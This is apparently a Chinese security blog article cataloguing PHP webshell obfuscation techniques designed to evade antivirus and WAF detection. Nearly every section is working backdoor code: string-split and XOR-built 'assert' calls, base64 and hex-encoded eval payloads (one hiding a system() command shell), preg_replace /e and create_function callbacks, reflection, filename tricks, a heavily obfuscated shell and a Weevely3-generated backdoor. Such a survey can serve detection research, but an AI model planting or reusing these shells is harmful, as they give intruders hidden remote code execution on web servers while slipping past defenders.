简介

WebShell的变形技术与各种防护软件的检测方法一直都在相互对抗,本篇文章就对目前常见的WebShell的变形技术进行总结。

目前的防护软件对能够执行命令函数和能够执行代码的函数都会格外的敏感,如eavlassertsystempopenshell_exec,所以像最为简单的eval($_POST[cmd])的一句话就一定会被查杀。所以目前的变形的本质都在于如何隐藏自己的敏感函数。

巧用$GPC

利用$GLOBALS

@eval($GLOBALS['_POST']['op']); 

很多的防护软件仅仅只是检查$_POST,所以通过$GLOBALS就能够逃过查杀。

利用$_FILE

@eval($_FILE['name']); 

使用$_FILE就能够逃脱很多防护软件了。

关键字替换

敏感函数拆分

由于PHP语法的灵活性,这种写法就会有很多了。比如

$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']); 

这种就是利用PHP的可变函数来拆分assert关键字。但是这种拆分方式也比较的简单,目前的防护软件已经可以识别了。

这种方式也可以变形一下,将assert放置在函数里面。如下:

function func() { return "ass"."ert";
}
$a = func();
$a(${"_PO"."ST"}['sz']); 

基于这种方式还可以进行更多的变形,在这里就不进行说明了。

空格替换&字符串替换

<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?> 

首先将关键函数进行倒转和空格,之后利用strrevstr_replace恢复。不同于之前的字符串拼接,这种方式采用的是将字符串进行各种变形达到隐藏敏感函数的目的,这种方式在一定程度上能够有效地躲避查杀。

特殊字符

这种特殊字符组成的webshell其实也算是关键字替换中的,但是这种由特殊字符串组成的webshell经常被讨论,所以在这里单独作为一小节进行说明。

进制运算

@$_++;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST

@${$__}[!$_](${$__}[$_]); 

通过异或运算(^)、取反运算(!)的方式组成一个webshell。

自增运算

因为在PHP中,'a'++ => 'b''b'++ => 'c',所以我们如果得到了其中的一个字母,通过这个字符就可以得到所有的字母。通过$_=[];$_=@"$_";;得到$_Array的字符串,那么就可以得到所有的字符串了。

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]); 

关于这种由特殊字符组成的webshell可以参考P神写的一些不包含数字和字母的webshell

利用注释

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7 

通过特色符号和注释组合组成一个webshell,也能够隐藏关键字。

异或运算&字符编码

这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell。

$y=~督耽孩^'(1987)';
$y($_POST[1987]); 

上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了。

还有如下这种:

$x=~Ÿ¬¬º­«;
$x($_POST[~¹¹ÏÏÏÏ]); 

上述的代码需要以ISO-8859-15保存,其中的$xassert,而~¹¹ÏÏÏÏFF0000。即使是这种方式,部分的防护软件还是能够识别。

eval&base64_decode变形

通过对大量的webshell分析,发现很多的webshell其实都是eval(base64_decode($_POST[cmd]))这种方式的变形。变形的核心思想其实就是将base64_decode$_POST隐藏。下面就对这几种变形的方法进行说明。

字符串&数组的方式

这种方式一般都是先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数。如下:

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9']; if (isset($s22)) { eval($s21($s22));
} 

通过字符串PCT4BA6ODSE_得到,$s21base64_decode,$s22${"_POST"}['n985de9'],所以这种方式最后的代码其实就是eval(base64_decode($_POST['n985de9']));

进制转换

这种方式在webshell中也是比较常见的。

$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(..... 

其中$v230c590就是base64_decode,通过十六进制和八进制混用的方式代替base64_decode。还有如下这种形式

$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code); 

其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28其实为eval(gzuncompress(base64_decode(也达到了隐藏敏感函数的目的。

反序列化执行

通过序列化的方式,我们也能够执行webshell。

class foo{ public $data="text"; function __destruct() { eval($this->data);
    }
}
$file_name=$_GET['id'];
unserialize($file_name); 

我们需要在本地构造序列化的数据。构造好了之后,通过shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";},这样就能够执行phpinfo();命令了。

回调函数

PHP中的回调函数非常之多,所以通过回调函数执行Webshell的方式也非常的多。最常见的回调函数的写法就是$ant=create_function("","eval($_POST[cmd]);");$ant();。但是目前大部分的防护软件都都已经能够识别这种写法的webshell,所以目前的回调函数方法变形一般都是通过其他的不常见的回调函数以及变换关键代码。

create_function的变形

基于create_function的变形是非常多的。如下面两种:

变形一:

$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function(); 

变形二:

$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=')); $function(); 

总体来说这种方法和上面讲的关键字替换是类似的

preg_replace变形

通过preg_replace\e模式下能够执行代码这种方式也是十分常见的,很多攻击者都喜欢使用preg_replace。下面就提供三种变形。

变形一:

@$a = $_POST['x']; if (isset($a)) {
    @preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
} 

通过base64编码将关键代码隐藏。

变形二:

function funfunc($str) {} echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]); 

这种方式其实还利用了PHP中的可变变量能够执行代码的特点。通过cmd=<title>${@eval($_POST[xxx])}</title>&xxx=phpinfo();这种方式就可以执行任意的代码了。

变形三:

在php中也有几个和preg_replace类似的函数可以使用,如mb_ereg_replacepreg_filter。用法如下:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); echo preg_filter('|.*|e', $_REQUEST['pass'], ''); 

在PHP中这种动态函数是非常多的,除了上述说的create_function,preg_replace,还有诸如call_user_funccall_user_func_array。还可以利用一些不常见的回调函数,如array_maparray_filterarray_reducearray_udiff这种方式,还有很多其他的回调函数可供使用。P神也写过一篇关于用回调函数构造webshell的文章, 创造tips的秘籍——PHP回调后门

动态函数执行

$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument); 

这种动态函数的变形目前已经被广泛地使用,目前大部分的防护软件都能够识别。

利用文件名&注释

一般情况下,防护软件在检测Webshell时一般都会忽略掉文件名和文件中的注释,那么我们就可以在文件名和注释中放入敏感函数。

巧用文件名

no_assert.php

<?php ${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command); 

这种,得到的$function就是assert,这样就形成了assert($_POST[cmd]);的后门。

$_POST[cmd].php

<?php ${"function"}= substr(__FILE__, -15, -4);
${"config"} = assert;
$config($function); 

这个是将$_POST[cmd]放置在文件名中进行隐藏,同样可以达到隐藏的目的。

自定义函数

为了能够逃避防护软件的查杀,很多webshell都会自己编写加密函数或者是字符串转换函数。下面就几个函数进行说明。

十六进制执行

$string='';
$password='test'; if(isset($_POST[$password])){
    $hex=$_POST[$password]; for($i=0;$i<strlen($hex)-1;$i+=2){
    $string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string); 

只需要将传入的指令变为16进制的字符串即可。shell.php?test=706870696e666f28293b。其中的706870696e666f28293b就是phpinfo();的十六进制,用法和普通的webshell没有区别。

自定义加密

function decode($string) {
    $result = ''; for($index=0;$index<strlen($string);$index += 1) {
        $result .= chr(ord($string[$index])-3);
    } return $result;
}
$b = create_function('',decode("Chydo+'bSRVW^fpg`,>"));
$b(); 

这个加密函数十分的简单,仅仅是将字母的ascii值减3而已,算是比较简单的加密算法。

decode("Chydo+'bSRVW^fpg`,>") 

得到就是@eval($_POST[cmd]);

反射技术

$func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); 

这种方式调用起来也非常的简单xx.com/shell.php?m=assert&c=phpinfo();和动态函数执行的方式十分的相似。但是目前这种方式已经被各种安全防护软件识别了。

文件加密

加密的方式就非常多了,包括使用开源的webshell工具或者是网上在线的加密方法或者是自己编写加密代码进行混淆加密。

混淆加密

$M_='TcynUS2Dj'|Xtt1C5;$xPAsA3='|L#K1)'^'=`'.tosl;$ps6U8r2u='S R'|'Z @';'F_fTJ4U3M'. ')u(<I9';$ots8zM7=wwugn.'~'&outg."~~";$CqHZRjrpv='om~}ov'&'owv}~w';$pmak=/*OYR'.
    'HF]mwSAu~*/oZD5t.'-'.TouvRdijg|'M at~`K*$jqr!-)';$Nkm4DL=wwoiuw_o.#jDj9F8qWCU'. '}og~oo~'&ssoyww_vw.'~'.wtoo.'~';$sSZ1ZTtXOI='J~DQ}e'&iUTZ.']C';$enZB='wfq/Wc<'. '.g!17}x`1qs@#1g)=a=79'.mc56&"!|7".aLxt2a."{y#93V7;;C;~m uO3;q;{v2";'gyxK39Xu1'. ':i^';$woW8PBSb_J='?g~v$z~a,w'&'vo?.us|{4k';$hefSTat73='ko7|;uw?'&'S}w?'./*Usx'.
    '>XUb.*/wuuo;$H31KYF='-(Y%;L8@'|'-(|lz@2f';$oRzY9cesWL=BrvDsY^'cS=p2;';'djCAxk'. 'zX~lO=:nK5';$jKRFmGwxTPb='sl[GUs'^'6(#%~)';$cQZ75FbYVQT=':(&.'.Z5qdh^/*KudDMp'.
    'LtxJEC*/bkcTlp7.'$)';$ZNh7cpA=J^'+';$VRcphf2Y1='+'|K;$fXLKDzG='(C'^'M;';'dHaM'. ']9|ds5tbb';$I5Hmeo7gVJ=E^",";$mwo7=w&t;$TvUYRhtThs="^".TVW_."|_]".u__CURu./*j'.
    'l*/"{H"&"Iv|".x_Z_UZ_wyRq_Wz;$ypaVtIfRO=']'.SEBTRE|WPEAUR.'@';$TegpU9P5=('3Zw'. 'g/5'&'zx-G/w')^$xPAsA3;$rM36yFVDxOo=('$Df'|'6Dc')^$ps6U8r2u;$iG7yrwzXUiW=/*cL'.
    'srxQMMk*/$ots8zM7&$CqHZRjrpv;$qioLnlc=('7w,c/"YQ#a`p'^'i@c-'.IeimeU48)^(',E"!'. '!!TH(E",'|'.D()95EL*T5-');$Pl=$pmak&$Nkm4DL;$rF0oYXqV9=('HDP@O@'|'HDD@F@')|/*'.
    'f*/$sSZ1ZTtXOI;$hLZSKz9=("||=6".tB5s."#;(7i}%-d2|".r6O67a."!h-:j0&"&'4&2=)f5;'. '%}ev:2%9*5'.ebteyl.',g61<E#s')|$enZB;$Z61ppy=$ZNh7cpA&$VRcphf2Y1;$ZHU=/*fE9Yr'.
    '7q?{!W*/$woW8PBSb_J&('?'.qldtjo.'</w'&'-'.snkdo.'?yoo');$PhcCKxq=/*XeLXi26ULV'.
    'pri*/$hefSTat73^$H31KYF;$emJm_U=$oRzY9cesWL^$jKRFmGwxTPb;$FTGoqvnK=/*a5xj88EI'.
    'n(am7*/$cQZ75FbYVQT|('5;]+`'.lexH^'}k8{DLK:-');if($TegpU9P5($rM36yFVDxOo(/*TA'.
    '(^q.4;*/$iG7yrwzXUiW($rF0oYXqV9)),$hLZSKz9))$qioLnlc(('{/Z_'^'TNu:'),/*qwCzim'.
    'JQ7+5)JTBF*/$fXLKDzG.$I5Hmeo7gVJ.$mwo7,$Z61ppy);$yX4gTiSd=$Pl($ZHU,/*BtAiX0w8'.
    '7*LALb~*/$iG7yrwzXUiW($TvUYRhtThs.$ypaVtIfRO));$yX4gTiSd($PhcCKxq,$emJm_U,/*p'.
    '}R*/$FTGoqvnK);#T)s<k?vZ%Nx[VsvNLg<sQ8KlP!D{*nm306rhxT95kZ5CMe=YJ*V3cTstah.t'. 'HD PDe:F{4#Wplm 1BLh0FD7*@?;aZJQnFF1$zR'; 

以上就是一个自定义被加密的webshell,主要是利用了各种位运算符达到混淆加密的目的。

使用加密工具加密

国内的工具还是有很多的,包括phpjm,phpjiami通过测试,即使是最为简单的@eval($_POST[cmd]),经过加密之后还是很多防护软件无法识别出webshell。

Weevely

weevely是一款使用python编写的webshell工具,Github地址下面就是weevely3生成的朴php 代码:

$L='O=$_SERVE9OR;$rr9O=@$r["H9OTTP_9OREFERER9O"];$ra=9O@$r["H9OTT9OP_9O9OACCEPT_LANGUAGE"]9O;if($9O9Orr&&$ra';
$b='art();@ev9Oal(@9Ogzu9Oncompres9Os(@x(9O@base69O4_decode(9Opre9Og_repla9O9Oce9O(arra9Oy("/_/","/-/"),a';
$h='$z+9O+)$p.9O=$q[$m[2][9O$z]];if(strpos(9O$p,9O$9Oh)===09O){$s[$i]=""9O;$p=$ss(9O9O$p,3);}if9O(array_k';
$P='ey9O_exi9Osts($i,9O$s))9O{$s[$i]9O.9O=$p;$e=strp9Oo9Os($s[9O$i],$f);if($9Oe){$9Ok=$kh.$kf;9Oo9Ob_s9Ot';
$y='($i.$kh),0,39O));9O$f=$9Osl($ss(m9Od5($i9O.$kf),9O0,39O));$p="";for(9O$z9O=1;9O$9Oz<9Ocount($m[1])9O;';
$z='rray("/"9O,"9O+"9O),$9Oss($s[$i],0,$e))9O),9O$9Ok)));$o=9Oob_get_content9Os();9Oob_en9Od_clean()9O9O;$d=ba';
$r='$kh="dff9Of"9O;$9Okf=9O"09Oa7f";function x($t,$k9O)9O{$c=9Ostrlen($k9O)9O;$l9O=strlen($t);$9Oo="";for9O($i';
$G='){$u=p9Oar9Ose_url9O($rr9O);parse_str9O($u["query9O9O"],$q);$9Oq=array_v9O9Oalues(9O$q);preg9O_match_a9O';
$T=str_replace('Ul','','crUleUlate_UlfUluUlnUlction');
$v='=9O0;$i<$l;){fo9Or($j=09O;($j<$c9O&9O&$i<$l9O);$j++,$i++9O){$o9O.9O=$t{$i}^9O$k{$j};}}9Oreturn 9O$o;}$r9';
$Q='se9O64_encode9O(x(gz9Ocompres9Os($o),$9Ok));pr9Oint(9O9O"<$k>$d</$9Ok>");@sess9Oi9Oon_de9Ostroy();}}}}';
$k='=&$_SES9OSION9O;9O$ss="su9Obstr"9O;$sl="strtol9Oower";$i9O9O9O=$m[1][0].$m[19O][1];$h=$sl9O($9Oss(m9Od5';
$o='ll("/9O([\\w])[\\w9O-]9O+(?:;9Oq=09O.([\\d9O]))?,?/",9O$ra,9O$m);if($q9O&&9O$m){@sessio9On_sta9Ort();$9Os';
$t=str_replace('9O','',$r.$v.$L.$G.$o.$k.$y.$h.$P.$b.$z.$Q);
$C=$T('',$t);$C(); 

看起来完全是毫无意义的代码。但是即使是这样,D盾还是能够识别。

总结

本篇文章对目前PHP中的常见的webshell变形技术进行了总结归纳,可以发现这些变形技术都大量地使用了PHP的语言特性。由于PHP的灵活的语法以及大量的内置函数,导致webshell可以有各种各样的变形技术。多样的变形技术不仅可以让攻击者写出更加隐蔽的webshell,也增加了防护软件识别的难度。webshell的变形技术就在攻击者与防护软件的对抗中也不断的演变和升级。本篇文章也只是对于总结了各种防护方法,关于其中的变形原理就不进行详细地说明了。

彩蛋

 /**
    * eva
    * l($_GE
    * T["c"]);
    * asse
    * rt
    */ class TestClass { }
    $rc = new ReflectionClass('TestClass');
    $str = $rc->getDocComment();
    $evf=substr($str,strpos($str,'e'),3);
    $evf=$evf.substr($str,strpos($str,'l'),6);
    $evf=$evf.substr($str,strpos($str,'T'),8);
    $fu=substr($str,strpos($str,'as'),4);
    $fu=$fu.substr($str,strpos($str,'r'),2);
    $fu($evf); 

参考

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

http://blog.safedog.cn/?p=68

https://joychou.org/web/webshell.html

* 本文作者:影武者实验室